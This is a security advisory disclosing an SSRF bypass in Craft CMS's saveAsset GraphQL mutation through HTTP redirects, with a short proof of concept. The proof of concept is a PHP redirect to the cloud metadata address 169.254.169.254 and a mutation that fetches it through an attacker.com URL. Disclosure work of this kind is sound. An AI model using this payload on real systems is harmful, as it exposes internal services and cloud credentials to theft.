Craft CMS Vulnerable to SSRF in GraphQL Asset Mutation via HTTP Redirect

Summary

The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.

Proof of Concept

1. Host a redirect script on your server (e.g. redirect.php):

<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>

2. Send the following GraphQL mutation:

mutation {
    save_images_Asset(_file: { 
        url: "https://attacker.com/redirect.php"
        filename: "metadata.txt"
    }) {
        id
    }
}

3. The application validates attacker.com (passes)
4. Guzzle follows the redirect to 169.254.169.254
5. Cloud metadata is saved as an asset

Mitigation

• Disable redirects.